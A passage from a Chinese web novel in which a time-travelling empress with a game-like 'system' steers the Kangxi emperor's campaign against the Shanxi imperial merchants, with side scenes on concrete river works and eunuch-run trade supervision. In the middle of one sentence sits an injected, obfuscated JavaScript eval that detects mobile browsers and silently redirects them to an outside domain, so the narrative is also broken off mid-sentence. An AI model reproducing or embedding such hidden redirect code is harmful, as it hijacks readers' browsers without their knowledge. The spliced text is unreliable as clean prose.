他蟒袍上的团龙纹被汗水浸成深紫,手里攥着的鎏金捐银册边角磨出毛边,不等鸿胪寺官唱喏,便抢步跪到丹墀下:“奴才请命!愿捐盛京三万亩庄田、金陵万亩桑田,充作平藩军费!” 这话如惊雷炸响,殿内的亲王贝勒们瞬间炸开了锅。 索额图站在排班队伍中段,稍稍抬头看着这群王爷贝勒。仿佛是庄子里的狗,一只狗叫了,其他的狗也要跟着叫。 爱新觉罗家的血脉,也就这两下子了。他低下头,平等的看不起他们所有人,一群只爱金银珠宝毫无远大志向的低级趣味之人。 索额图自从跟着主子娘娘在内务府做事,与传教士沟通之时也在开眼看世界,一日比一日深觉孤独。 在珠兰的系统面板上,索额图的数据偏好几乎都翻新了一遍。 康亲王杰书扯着嗓子压住嘈杂,珊瑚朝珠在胸前晃成一团红雾,“岳乐你那庄子才几亩薄田?瞧我!”他抖开怀中的桑皮纸,上面用写着“捐热河牧场十万亩”,墨汁未干处,还沾着昨夜连夜按的指印。 多罗顺承郡王勒尔锦更狠,不仅要捐资两万两白银,一万两黄金,还直接扯开腰间玉带,“奴才愿率两千铁骑,杀向云南!” 他声音未落,肃亲王豪格之孙丹臻已扑到御案前,献上白银五万,黄金一万,红宝石顶子在金砖上磕出脆响,“我家还藏着太祖爷赐予的玄甲五十副,愿献与前锋营!” 阶下的勋贵们看得目瞪口呆,这是闹哪出啊。吴三桂怎么着,连夜去盛京挖坟了吗? 昨日还在酒肆里与姻亲抱怨“三藩势大”的简亲王德塞,献上天津庄田一万亩后,竟一边咳嗽一边高喊,“若不胜吴三桂,我德塞提头来见!”谁不知道他身体弱,上不了马背啊。 康熙把玩着翡翠扳指,听着殿下吵成一锅粥。 当安亲王岳乐又报出"宗室合计捐银三百万两"时,帝王不吭声。 当礼亲王杰书俯身跪拜,高呼“山西捐输绅民献军费五百万两”时,“够了,”帝王的声音不高,却让殿内瞬间死寂。 退朝时的金水桥畔,索额图拦住了一脸困惑的明珠。 当最后一位表忠心的贝勒退出乾清宫,西斜的太阳将丹陛染成血色。 康熙展开堆积如山的捐银册,朱笔圈出安亲王的名字,此人可用之不可信之。太祖之后太宗之后,终究隔得远了,与朕不是一条心。日后上阵,还得看朕的兄弟用命。 珠兰递过温热的参茶,只听皇帝感叹,“以平藩之名,削宗室之傲,此乃敲山震虎,震荡的是山西。只是真正的棋盘...还在江南。” 最近皇帝越发喜欢在两人独处时,说些前朝的烦心事,哪怕珠兰一言不发,康熙也爱自己念叨。 望着康熙眼中闪烁的寒芒,皇帝名声在外,宗室噤若寒蝉。这还没开始查,他们就纷纷自爆,心理素质太差了。她不晓得,这里有索额图上蹿下跳之功。 要是两边打起来,皇上一怒,杀上一两脉,备不住还能得大颗的能量结晶呢。这可比辛辛苦苦攀科技树、修河、卖炭,来的快多了啊。 怎么我在内务府也没少杀啊,就不给能量结晶呢,是那群包衣不够恶吗? “索额图有大功,只是此番不好赏赐于他。”皇帝正说着,苏麻喇姑在外请见。 老嬷嬷鬓角的银丝在夜风中颤动,掀开帘子,进门请安,说出的话不温不火,“皇上,太皇太后请您即刻去慈宁宫一趟。” 帝王的手骤然收紧,扳指在掌心压出青白的痕——自祖母病体好转后,这般急召还是头一回。 珠兰望着康熙疾步远去的背影,想起今早内务府送来的密报:晋商票号查封后,有老掌柜在狱中咬出"宫中贵人"四字。 大清朝,真闹挺啊…… 慈宁宫的铜鹤香炉飘着安息香,却掩不住药味里混着的血腥气。 太皇太后斜倚在金黄软枕上,枯槁的手指摩挲着紫檀念珠。“皇帝,”她的声音像老树皮在风中摩擦,“此一时,彼一时。商人无义,不可轻信,商人重利,不可不用。灭了晋商,你可有替换之人。宗室已经退了,见好就收吧。没了他们领兵,你还用谁!” 三刻钟后,皇帝冲出慈宁宫,玄色龙袍下摆沾了香灰。瞥见回廊下蜷缩着的大黑狗,他扯了扯嘴角,见过的人越多,就越发现自己喜欢狗。 乾清宫 殿外的更鼓惊飞夜枭,珠兰隔着雕花槅窗,望见皇帝的影子在烛火中剧烈摇晃。 帝王抓起案头的《皇舆全览图》撕成碎片,江南漕运线、山西票号网、宗室庄田分布图在风中翻飞,最终落在珠兰绣着并蒂莲的裙摆上。 他突然将她死死搂进怀里,龙涎香混着血腥气扑面而来,“原来从太祖爷起,大清的命数……就攥在一群……商人手里么。” 系统蹦出来:商人不重要,皇帝想说的也不是这个。 珠兰任他滚烫的泪水渗进衣领,望着满地狼藉中未被撕碎的半张密信,翻了个白眼。 大男人,有什么好哭的。伸手抚上皇帝的后背,她拍了拍,又拍了拍。 一点亲密度都不带给的,小心眼的臭男人。如果亲密度能达到90,皇帝会成为她在前朝的代言人,珠兰能做的事就更多了。 月光透过窗棂,照亮信末模糊的字迹——那是用朱砂写的“祖训不可违”,此刻却被皇帝的泪晕染成一片猩红。 殿外暴雨突至,惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033225|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雷炸响,她听见康熙在耳边呢喃:“珠兰,朕要...重写这祖宗规矩。” 跟你的江山过去吧,珠兰又翻了个白眼。 淮安府 俩抄家杀头侍郎走了,新来的官员都把来此安家的河道衙门高高供着,让干啥干啥。 浊浪拍岸的轰鸣里,靳辅的官靴陷进黄河滩涂。 当第一艘载着预制沉箱的漕船抵近时,老河工们跪在船头磕头:“大人!这铁疙瘩怕不是要得罪河神?” 杨期令人把愚昧的老人拉开,沉箱入水的刹那,激起的巨浪掀翻了舢板。 靳辅站在指挥台上,望远镜里可见3米见方的混凝土块如巨鲸下潜,箱间连接的铁筋在浊水中闪着冷光。 治河比他想象的容易多了,只要能解决河道,就能解决一切。他提前想的那些政治斗争,一个都没有看到呢。大家都好配合啊,工程好顺利啊,杨先生好能干啊,心裕好多招数啊,我运气正好啊。靳辅觉得大清朝的天,是瓦蓝蓝的天。 十日后,河中竖起一道灰黑色的墙,当最后一车混凝土浆注入接缝时,民工们突然扔下铁锹跪倒——他们看见先前轻易被洪水卷走的石碾,竟被凝固的坝体牢牢卡住。 晨雾里,混凝土搅拌的轰鸣不断。心裕捧着水准仪爬上脚手架,琉璃镜片里映着6丈宽的坝底正在成型,新浇的混凝土表面冒着热气,工匠们用铁抹子划出防滑纹,宛如给黄龙系上铁腰带。 某夜暴雨突至,淮安府的新官员以为堤坝会像土堤般垮塌,吓得连夜去拍靳辅的门。腿脚颤抖着跟着靳大人上了大堤,却见雨水在混凝土坡面汇成细流,顺着预设的排水槽汇入黄河。 靳辅撑着伞,打着火把查看凝固情况,他用铁锥猛戳坝体,只留下白印——这比夯土堤"锥入一寸即为合格"的标准强过十倍。 湖口的混凝土节制闸竣工那日,河道衙门的大船停在岸边。 当闸门缓缓升起时,清澈的淮水通过凹槽流入黄河,不再像往日般被黄水倒灌。心裕指着闸门上的刻度尺,“大人请看,这水位能精确到寸。” 靳辅捧着水文记录连连点头,混凝土量水堰测出的流量,比老河工估测的准了三成。心裕又该升官了,下一次往京里报,他就是四品了。这都是他该得的,哪一位相爷公子也没他吃的沙子多。 漕船穿过淮安船闸时,船工们扔下纤绳惊叹——U型混凝土航道里,水流推送着船只前行,速度比走土渠快了近半。某粮商的船队刚通过,就见闸门后升起的混凝土涵管正在排水,先前被淹的农田露出绿苗。 当首段混凝土护坡抵御住5米/秒的洪流时,黄河凹岸的崩坍止住了。百姓们摸着坚硬的护面,想起过去每年培堤的苦役,有人偷偷在坝上刻下"靳公堤"。 某日,户部尚书米思瀚翻开江苏送回来的账本,发现改用混凝土后,河工银每年能省三万两材料费,足够买十万石江南新米。 京中粮价本已随着海运来的粮食暴跌,至十月份漕运复通,便恢复正常。 珠兰握着一颗“碧浪”级的能量结晶撇了撇嘴,要是皇帝当时不妥协,这就该有“浩波”级了。不过,是不是小气了点,漕运复通这么大事儿,就给一颗? 系统蹦了出来:这一颗“碧浪”级的能量结晶,是平抑京中粮价给的。漕运复通结算方式为,只要在康熙二十二年之前,保证漕运不改道,可每年得十颗“碧浪”级能量结晶。 咿~这还差不多,珠兰点点头,总算有保底了,这下二十二年前是不会欠时空局的账了。 河工呢?江苏这边到年底就结束了,自打上了钢筋混凝土,反而没给能量了。 系统闪烁:世界正在结算。 珠兰:还挺磨叽。 前朝 随着好消息接二连三,漕运与河工已不是主要任务,现在的问题是北边的罗刹鬼子又来了。 在太皇太后出山调和之后,不晓得是许诺了什么,总之皇帝与宗室、群臣暂时和缓了关系。 太皇太后:勋贵还是巴不得跟着皇上走的,只是皇上之前嫌弃他们笨罢了。 一些不够格在慈宁宫有一席之地的家伙,在明珠的奔走周旋之下,心中愤懑也暂时偃旗息鼓。 内务府这边接二连三有山西的商人候着,等待皇后娘娘召见。 大牢里关着的那些,是放不出来了,他们参与了京中哄抬粮价之事,皇帝不杀他们是不可能的。但山西票号逃过一劫,山西官场也逃过一劫。 八家皇商的家主都来了京中,半点不敢托大。他们在山西已经被巡抚抓过去吓唬了一顿,出了不少血。可这还不够,皇帝还没松口呢。 是他们猪油蒙了心啊,怎么就没想到皇帝亲政了,赶紧靠上去呢。 四大辅臣在时,还能容忍他们与三藩交易,回来分利便可。 可现在是皇上当家了,他们怎么就没想到分利得给皇上呢,偏生想着自己多留点。 黄昏的铜钟声里,安亲王岳乐府第的鎏金门环蒙着薄灰。前日还在朝堂上争抢捐银的铁帽子王们,此刻将晋商递来的拜帖全锁进紫檀柜,钥匙扔进荷花池。 某郡王的侧福晋偷偷拆开山西送来的锦盒,见里面是对贡品级的东珠耳环,却吓得手抖着扔进香炉——珠串碰撞的声响,像极了西市问斩时的鬼头刀落地声。 他们请托关系到了赫舍里门下,连薛奋那里都有请见之人。甚至诺敏、玉宁、萨琳家里,也都有厚礼送上。 薛奋:还有人给我美女,吓死我了。哦,你不是晋商啊,你凑什么热闹。你想买琉璃?卖啊! 三女不敢擅自做主,叫家人不许收礼,都到养心殿来寻皇后拿主意。 前朝的消息,她们是知道的。毕竟她们手上还握着内务府采买之事,正经有公务在身,能与外界随时联系,可不是普通内宅妇人。 诺敏送了一份账册,是苏州海关那边递过来的,说晋商走私的。 阿日娜苏则呈上了一份科尔沁的书信,乃是控诉晋商越界的。 珠兰把这堆都给了索额图,让他权衡去。而后专门请示皇帝,毕竟对待这老牌皇商怎么个章程还得皇帝定。虽然珠兰已经决定下一步的方向了,但过程还是要走的。 “你们猜,他是要出口气呢,还是要钱呢?”珠兰看向图雅与尼雅,微笑着说道。 这俩人全程参与围观了本年度的皇商金钱大戏,深有体会。 索额图展开一系列晋商的大小把柄,深吸一口气,破鼓万人捶啊。 53. 利用皇商 纳兰明珠跪伏在金砖上,官袍被冷汗浸得发暗。 展开奏报,烛光掠过"山西八大皇商"六字时,康熙手中的翡翠扳指突然重重磕在御案,“说说,这些人究竟吞了多少金?”少年人脾气急切,不高兴就砸东西。 “回万岁,仅长芦、河东盐场...”明珠喉结滚动,指甲几乎掐进掌心,“山西八大皇商年销盐引占天下五分之一,每年纯利折算白银180万...” 话音未落,康熙已将茶盏摔得粉碎,盐政衙门一年给朕多少,一个零头!五分之一的一个零头! 飞溅的瓷片在奏报上划过"对日铜矿"字样,明珠望着满地狼藉,想起索额图前日深夜送来的密信,绢帛上还特别俏皮的用铜绿画的帆船,船头插着的正是晋商票号的三角旗。 当明珠吞咽了一口唾沫,继续说起对日铜矿贸易时,乾清宫的自鸣钟恰好敲响。他压低声音,闭上眼睛,有些绝望,“现今商船往返日本,本利可达十倍以上,而八大皇商每年进口日本铜料千万斤,得利至少500万两白银...”这个比盐的利润还大,但是海关是没有税收上缴的。 海禁前,民间商人赴东瀛贸易,多走苏州关,去时带国内丝绸、瓷器等特产可赚五倍利润,回来运铜又能赚几倍利润,一万成本好的时候可变成十万。而海禁之后,因国内铸币急需铜料,朝廷特许少数皇商经官府批准后,赴日本采购铜斤,且航线仅限中国至日本长崎港。八大皇商趁机走私,这就等于垄断贸易,利润只会高的离谱。 奏报上密密麻麻的数字在烛光下扭曲,化作昨日索额图送来的那叠盖着苏州关大印的账册。那些被海水泡皱的单据上,每船铜矿都标注着"宝泉局或内务府专用",却有五成以上悄悄流入民间。 也不知道索额图怎么秘密得到这些账册的,明珠抹了一把汗。理论上就卡住了,这些账册它就不应该存在,除非有人提前一年就在布局,留下了证据。谁会莫名其妙去算计商人啊,哪家的贵人都没那么纡尊降贵好吧。 索额图:我也不知道马佳氏为何如此忠于皇后娘娘,上赶着送来了晋商的把柄,大概是因为娘娘年前分润了他们内务府南边的买卖吧。掐死晋商深入苏州的手,马佳氏的商队才能接着为皇帝干这暴利的买卖啊。 现在大清全线海禁,只有内务府的船不受限制。晋商手里不仅有航线、船舶,还有不受海盗威胁的秘密。 康熙猛然将翡翠扳指砸向蟠龙柱,翠色碎屑迸溅在明珠头顶。“千万斤铜?”他的声音裹着冰碴,指腹狠狠碾过奏报上"三藩铸炮"的密写小字,纯金腰扣撞在御案发出闷响,“好个宝泉局、内务府专用,好个八大皇商!” 明珠悄悄观察着帝王的神色,突然惊觉索额图透露消息给自己而非直接上报的另一重深意——晋商每年在蒙古足有千万周转银,草原上的贸易路线不晓得与两宫有几成关系。 索额图:娘娘把内务府的采买和官卖都交给科尔沁了,现在科尔沁与大盛魁在草原上完全是竞争关系,我敢说,你敢信!?后头这堆材料是谁提供的,还用猜吗。 皇帝抓起奏折凑近烛火,跳跃的火苗将"大盛魁"三个字映得通红。晋商广泛涉及茶叶、绸缎、布匹等贸易,以及票号、当铺等行业。每年在蒙古草原销售砖茶3万箱以上、香烟2000多囤等,每年从蒙古贩运到内地的羊约10万只至20万只,马5000匹至2万匹,其每年在蒙古市场的周转金在1000万两白银以上。 出宫时,明珠在回廊撞见米思翰。户部尚书的目光扫过他袖中露出的绢角,那上面还沾着乾清宫特有的龙涎香。两人相视一笑,都是一条船上的人了。谁也没想到啊,鳌拜都倒了,保皇党竟然还存在着,而且敌人貌似越发多了。 想起粮商案后百官的冷眼,明珠下意识握紧了拳头——那日他奉旨做局,结果套住了山西,靴底沾着的不是商人的血,而是整个宗室集团的忌恨。即便他本身也是宗室集团的外围成员,那也顶不住啊。 夜风掀起他的官袍下摆,露出腰间新换的玉佩。那是索额图昨日派人送来的,翠色温润的玉面,刻着忠谨二字。 明珠望着宫墙外的漫天星斗,忽然轻笑出声。百官的唾沫星子能淹死人时,只有皇权,才能保住他们的命啊。唯有攥紧同党的手,才能在漩涡中站稳脚跟啊。 回到宅邸,管家捧着锦盒候在书房。明珠掀开盒盖,见是套翡翠算盘,算珠间夹着张小字条:明日巳时,琉璃厂见。 他摩挲着算盘上精雕的帆船花纹,想起索额图前日说的话:咱们就在一条绳子上拴着呢,要么扬帆起航,要么折戟沉沙。 窗外传来更夫梆子声,明珠铺开空白奏折,狼毫悬在半空迟迟未落。 烛光摇曳中,他仿佛看见索额图微笑着举起酒杯,酒液里倒映的不是兄弟情义,而是八大皇商那艘艘满载铜矿的商船。 笔尖终于落下,墨迹在宣纸上晕开,将"查抄晋商"四个字,悄悄改成了"整顿盐铜专营"。 养心殿 “告诉索额图,”龙涎香混着怒意扑面而来“朕要的不是整顿,是...”话音戛然而止,帝王的指尖深深掐进奏报,将纸面戳出个透亮的窟窿,“是让这些蛀虫,连骨头带渣都吐出来!” 康熙说着,含着怒气大步踏入养心殿,烛火被带起的风势吹得剧烈摇晃,他将染着朱砂指痕的奏报狠狠摔在案上。 珠兰左手放下话本子,将之悄悄藏在桌案之下,右手抓起一只红梅绒花戴上。望着皇帝紧绷的下颌线和通红的眼眶,那是方才在乾清宫压抑怒火的痕迹。东珠十八子轻响间,她伸手覆上他青筋暴起的手背,触手一片滚烫。 “皇上,”她的声音如同江南春雨般轻柔,用帕子拭去他指节间的纸屑,“当年您嘱咐我去内务府行事,不是也讲究刚柔并济?”烛光映着她鬓边的珍珠流苏,在康熙眼底投下细碎的光影。 皇帝喘息着,反握着珠兰的手,一片温软让他不自觉放松力道。只听那温言细语在说些什么虎狼之词,“杀绝了晋商,不过是斩草除根。可若将他们的银库变成咱们的钱袋,让他们的商船成为内务府的...” 康熙一听不杀了,便猛然转身,怒气不减,龙袍扫过博古架,青瓷瓶发出危险的嗡鸣。他怕自己伤到珠兰,便松开了手指,心中空落落的。 但珠兰并未退缩,反而跟着凑近一步,又去拉皇帝的手,让他闻到自己发间熟悉的茉莉香,这可是夏笙特意为她在绒花上喷洒的。“就像混凝土里掺的筋络,”她的指尖划过他掌心的纹路,“看着不起眼,却能让堤坝更坚固。晋商的生意经,何尝不能为朝廷所用?”那些现成的市场、商路、掌柜、伙计,都是财富。 珠兰望着康熙因暴怒而发红的眼眶,指尖抚过案头被戳破的奏报残片。月光透过窗棂洒在"大盛魁"的破洞上,像极了黄河决堤时撕开的缺口。 “晋商能把盐引生意做到占天下五分之一,”她的声音裹着循循善诱的软糯,取下鬓边白玉簪轻敲案几,“靠的是走西口的胆识,更是几代人攒下的商道。皇上,这等本事...从上到下全杀了实在可惜呀。” “囤积粮米致百姓易子而食,私运铜矿助三藩铸炮!”帝王的怒吼震得梁间编钟轻颤,“这也是生意?”早知他们通三藩,不知是这么个通法啊!岳乐啊岳乐,你们养的好奴才,胆子 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殿外传来更夫打更的梆子声,康熙紧绷的肩膀渐渐放松。他反手握住珠兰的手,将她的掌心贴在自己心口,那里正剧烈跳动着不甘与思索。“利用晋商的鸡,产自家的蛋?”他忽然轻笑出声,带着某种的释然,“好,好个以商制商...”龙纹金镶玉扳指在指间转动,“可这些蛀虫...当真肯俯首?” “混凝土刚浇筑时也软塌塌的,”珠兰将珍珠重新嵌回玉簪,簪尖划过康熙掌心的朱砂痕迹,“但掺了合适的材料,再用模具定型...”她忽然凑近,茉莉香混着龙涎香在暖阁弥漫,“皇上手中,不就有最好的模具?” 珠兰顺势靠入他怀中,听着胸腔里逐渐平稳的心跳。案头被撕碎的奏报边缘,残字在烛光中明明灭灭,恰似这场即将席卷商界的风暴,在帝王的杀意与谋算中,悄然转向新的方向。 将这些晋商都杀了,能得到多少能量不得而知,但总不会比端了户部给的多。留着他们去海外,逼迫这群最有经济头脑的人出海,世界进程必然迅速加快。 从一开始,珠兰便没想要了生意人的性命,只是让他们换个赛道罢了。 毕竟囤积居奇发国难财的幕后黑手还活的好好的呢,白手套先死一步总让人意难平。他们啊,最好是死在一处。 康熙的喉结剧烈滚动,珠兰的话语如同一把钥匙,瞬间打开了他心底那座锁着贪婪与野心的金库。他死死盯着案头残破的奏报,那些被戳破的"千万银两"字样,此刻竟在烛火中幻化成流淌的白银,涌入自己的内库。 “这都是朕的钱...”他喃喃自语,声音里带着压抑不住的炽热。龙纹靴不自觉地来回踱步,金砖地面仿佛都要被踏出深坑。 他想起当年在户部库房,望着堆积如山的库银时的震撼,而此刻晋商掌握的财富,竟似十倍、百倍于国库。那些往来日本的商船、纵横草原的驼队,本该满载着属于皇家的利益。 对,属于皇家,而非宗室! 扳指在掌心被攥得发烫,他仿佛已经看到八大皇商的银窖被打开,白花花的银子源源不断地流入内务府。这些钱,能浇筑更多的混凝土堤坝,能打造更锋利的兵器,能让他的铁骑踏平三藩,威震四海。帝王的眼中燃起熊熊烈火,那是对绝对掌控的渴望,对无上财富的占有欲。 “明日...”他突然转身,死死握住珠兰的肩膀,“内务府成立专门的皇商督办衙门,每一笔生意,朕都要抽成!”他的声音里带着不容置疑的狠厉,仿佛已经将天下财富纳入囊中。 珠兰看着朝珠在康熙胸前起伏,伴随着急促的呼吸,勾勒出一个帝王对金钱与权力最原始的欲。 曙隅斋的掌柜穆尔哈有些发愁,最近索大人送来了一名绝对能勾起男性呵护欲的美人,美人盈盈,说着有点曲里拐弯的官话。索大人不耐烦,说让给她安排点活儿,看着人别跑了就行。 54. 帝思纷乱 广储司的账房前,顾问行捧着内务府令牌的手在发抖。 象牙牌上"皇商督办"四字烫得他指尖发麻,他听见自己的声音变了调,“娘娘!祖宗家法...太监不可干政啊!” 珠兰挑起案头的《内务府新则例》,书页上用朱砂圈着“内廷与外朝隔以内务府”。本来是隔着乾清门的,让珠兰给改了,皇帝没细看直接通过了。 至于内阁,负责此事的是葛布喇。 宫中太监,她最早接触的便是分来她这里的十人,初始忠诚就高,稍微给了福利,那数值都直接飙升。其中一个嘴甜会说话的王二敏,料理各方关系能力不比索额图差。再有一个张起用,是乾清宫的小太监,会来事儿,还愿意学,跟她这边的太监宫女处的不错,偷学了不少算账的手艺,那属性都不用加点,就自己往上飙。 养兵一年了,也该放出去使唤了。那么多福利都没少了太监一份,肯定不为白养着这么多人力。 这帮皇商啊,不仅有西边的,也有南边的,东边的,那些都还没受过毒打,拿着皇权特许做生意起劲儿,可一说让他们给皇上交抽成,不欺上瞒下才怪了。 太监制约官员,是前朝的败笔,可拿出去盯着商人,却可以试一试。 珠兰与皇帝算了一笔账,今年把晋商踹出去的晚了,但是到了年底马佳氏的苏州关也能交上来两百万两的内务府分成之利。 这才几个月,还只是一处东洋贸易罢了。 皇帝的眼睛马上就红了,通红通红的。 若是其他皇商皆照此给内务府分成,哪怕只分三成利,一年下来也得有千万之数了。 他心中一种说不出去的感情,似极度的兴奋,又仿佛生出了某种恐惧。 珠兰回想皇帝当时小心翼翼喘粗气的样子,这是怕她察觉他失态呢。忍了不一会儿,他的眼神都迷离了,还有点好看呢。 那会儿皇帝背着手站在鎏金炭盆旁,明明额角沁着薄汗,却偏要放缓了呼吸,连带着袍角的团龙纹都静悄悄的,像是怕她听见半分喘息。 她正翻着南洋的账册,眼角余光瞥见他喉结滚了半圈,明明是天子威仪,偏生要装作不经意地拨弄案上的玉如意,指尖在云纹上蹭来蹭去。珠兰抿着唇没作声,心里却明镜似的。 没忍多久,他的目光就有些散了。原本锐利如鹰隼的眼,忽然蒙上层水汽似的,睫毛在眼下投出浅浅的阴影,连带着平日里抿得紧紧的唇线,都柔和了几分。喉间偶尔滚过一声极轻的气音——像怕惊扰了什么似的,随即又猛地屏住,肩背的线条都绷紧了些。 珠兰正蘸着朱砂批注账册,抬眼时恰好撞进他眼里。瞳仁里映着炭盆的火光,明明灭灭的。皇帝像是忽然回过神,猛地转开脸去看窗外的雪,耳尖却悄悄泛了红。 没有了百官朝拜时的疏离,没有了批阅奏折时的凝重,就像此刻暖阁里的银丝炭,褪去了烟火的烈,只余下温吞的暖。他那点藏不住的局促,那抹转瞬即逝的迷离,像孩童攥着心爱的玩意儿,既想藏紧了,又忍不住露出点憨态,倒比平日里的帝王相多了几分活气。 窗外的雪落在琉璃瓦上簌簌响,暖阁里的银丝炭烧得正旺,真是天地间最耐看的景致。 系统面板上,皇帝的某些属性在不断跃动,而后逐渐归于平静。 俊秀的人,不管做什么表情,哪怕是个财迷心窍了呢,也是好看的。回忆结束,珠兰擦了擦手上冒出的汗水。 “顾总管看清楚,”东珠十八子轻叩账册,“皇商督办衙门属内务府,算哪门子干政?”窗外的桂花花影落在她素白的袖口,恰似她话语里的绵里藏针,“就像你们敬事房记档,难道也算干预朝政?” 皇帝:放着家里这样一群忠诚且上进的群体不用,去外头划拉,他又不傻。此刻,宗室他都暂且不相信了,也就自己的三个兄弟还能用。 昨儿个还有大臣奏请“从吏部分派能吏打理琉璃商事”,此刻想来倒像个笑话。 太监是宫廷内务系统的专属群体,终身依附于皇权,无家族势力牵连,更无外朝官场的盘根错节。他们的生存完全依赖皇帝的恩宠,一旦脱离宫廷便失去根基,不存在“结党营私、反噬皇权”的土壤。 这些人打小在宫里长大,根根蔓蔓都攥在皇帝手里,赏他们个六品顶戴就感恩涕零,哪像外头的吏员,三句话不离“油水”“门路”。 眼下这局面,家奴的忠诚,倒比远亲的血缘更管用些。 顾问行的冷汗顺着领管往下淌,想起去年冬月,某包衣总管在江南采办时挪用盐引,气得康熙砸了密折。瞬间,他便想明白娘娘的意思了。 包衣虽为皇帝家奴,却常因管理皇商、参与采办等事务与外朝官员产生交集,甚至可能借皇商身份介入地方政务(如盐铁、漕运等),存在“以私权侵公权”的隐患。 而太监被严格限定在内务府体系内,其活动范围和职能被珠兰明确为“替皇上管自家钱袋子”,与外朝政务无涉,从根源上规避了“干政”的风险。 皇后娘娘此刻递来的名单上,全是敬事房里拨算盘比谁都精的太监——那个能心算二十位银钱的张起用,去年还因算错份例被杖责,而后便发奋偷学真本事了;那个记账能辨出墨色新旧的王瑾,至今还在慎刑司外当差。娘娘识人之明,是满宫里都知道的。 “这些人无事了就在宫里斗蛐蛐、赌牌九,”珠兰笑了,图雅早就奏报过紫禁城里太监人力资源浪费的问题。 珠兰将一叠票子推到顾问行面前,每张票面都盖着"出差补贴"的朱印,“不如让他们去盯着外头皇商的账本。”她用簪尖点着某张票上的数字,“去长芦盐场的,月钱加三成路费;去日本采铜的,另有海险银。其余的,按照实际情况增减。另有年底分红,就按照所监管皇商递交皇室利润的一分来分润给他们。你顾总管递了单子过来,内务府批了就是。” 顾问行盯着银票上的数,想起自己当小太监时,三年俸禄不够买副好点的护膝。 主子娘娘此刻轻描淡写的"出差补贴",比例竟比外放知府的养廉银还高。这意思就是上头知道你们辛苦,苦劳的钱先给。 一分利,百分之一,这也太多了。若内务府一年收入一千万,就有十万是他们督办衙门的进项。 而且,这是给太监本人分的!这就是功劳的具象化啊,给内务府带回来的利多,赚的就多。 太监活着,不就是个图钱么。一年一趟,就能得一辈子的花销了。 更让他心惊的是,娘娘竟知道张起用的算盘精,王瑾的眼睛好使——这些在宫里不起眼的本事,娘娘一个都没落下全看在眼里啊。 当珠兰说起"太监养老互助院"时,顾问行的膝盖一软,跪下了。 太监群体因生理特殊性,被主流社会排斥,既无子嗣传承,也无家族牵挂,唯一的生存依托是皇权的信任。而包衣虽为家奴,却有家族、子嗣等“后路”,可能为了家族利益牺牲皇权利益。对无子的他们而言,背叛皇帝等同于自断生路。 可是,娘娘居然主动提起了太监养老的问题。 他望着娘娘案头那叠太监名册,忽然想起去年冬天冻死在角楼的老太监,尸体被当成"无名弃物"拖走时,手里还攥着半块发霉的饽饽。 “收养子女需到内务府申请,”珠兰攥着的东珠十八子碰响了铜镇纸,这事儿写章程里了,皇帝都批过了,就不必多言了。“集体养老就设在西山,用全体皇商抽成的一分银当经费。”她忽然抬头,杏眼在烛火下亮得惊人,“你说,他们替皇上看着百万两的买卖,换个安稳晚年,划算不?” 顾问行趴在地上,听见自己的牙齿在打颤。他当差三十年,见惯了太监被逐出宫后的凄惨,却没想过能有"恩典"二字落在这群"无根之人"头上。 娘娘啊,居然允许他们留下养子! 顾问行清楚,与太皇太后对太监群体的警惕不同。皇后娘娘正是要抓住这一点——让他们走出紫禁城参与皇商监督,本质是赋予其替君分忧的价值感,这种被重视的归属感短时间会转化为更极端的忠诚。 相比之下,皇后娘娘在内务府时定是看到了包衣长期依附皇权,对“信任”的敏感度和珍惜度反而更低。 太监在宫廷中常处于权力边缘,对“被皇帝需要”有着强烈的执念。 主子娘娘扔来的章程上,"养老银"三个字被描了金边,恰似给这群在权力夹缝里挣扎的人,递去了一根镶金的拐杖。 可是,顾问行不懂的是,娘娘怎么会同意让他们收养子嗣的,即便是给有功太监单独的赏赐,这也不符合皇室的利益啊。毕竟有了家,太监就有私心了。 三更的梆子响过,顾问行捧着令牌退出养心殿。 廊下的宫灯将他的影子拉得很长,袖中揣着的出差补贴清单与养老章程摩擦,发出细碎的声响。 月光爬上内务府的鎏金匾额,照亮门楣上"慎守"二字。他忽然想起娘娘最后说的话:“让他们去赚干净的钱,总好过在宫里偷鸡摸狗。” 顾问行依然咀嚼着人事安排,太监群体在宫中早已形成严密的等级秩序,将他们派往各地监督皇商,既能利用内部纪律性高效执行任务,又能通过敬事房直接管控,避免出现包衣那样“天高皇帝远”的失控风险。 他摸着令牌上的纹路,自觉想明白了这盘棋的深意——用太监的贪婪制衡皇商的狡黠,用养老的安稳锁住他们的忠诚,而娘娘看似随意的"出差补贴"和两种养老模式,实则是给这群被视为"异类"的人,系上了一根与内务府共生的绳索。 简言之,主子娘娘的判断本质是选择“唯一利益绑定者”:太监的生存逻辑与皇权完全捆绑,既无背叛的资本,又有执行任务的精准能力,这正是她眼中太监“比包衣更值得信任”的核心原因。 当他转身时,见张起用和王瑾正候在墙角,两人的眼睛亮晶晶的,在月光下泛着光。 顾问行忽然笑了,笑得眼角发湿——咱们这些在宫里斗了半辈子的人,终将在贵人的棋盘上,变成另一副模样。 乾清宫 康熙正用玉签挑开密折上的火漆,听见春苒来后所述"太监督办皇商"六字时,指尖的动作骤然停住。 火漆印在烛火下裂成细纹,恰似他眼底瞬间掠过的惊涛。 内务府、敬事房、皇商、赫舍里…… “她让张起用去盯盐场?”帝王忽然轻笑,将密折扔在御案,龙纹靴碾过散落的奏章,“那个去年算错份例的糊涂虫?”可话音未落,他已抓起珠兰附在章程后的名单,指腹在"王瑾"二字上反复摩挲——这个能辨出账册墨色新旧的太监,曾在帮葛布喇揪出篡改盐引账目日期的猫腻。 梁九功捧着的茶盏差点倾斜,惊见皇帝竟屈指算起账来,“张起用月钱三两,出差补贴加三成便是九钱,一年下来...” 若是再加上主子娘娘许出去的分红,这里头的油水可太大了。梁九功都有那么一瞬间的心动,太监嘛也就图个忠,图个财了。 皇帝忽然停住,翡翠扳指在掌心转出冷光,“这些人在宫里偷鸡摸狗,十年也捞不到这个数。” 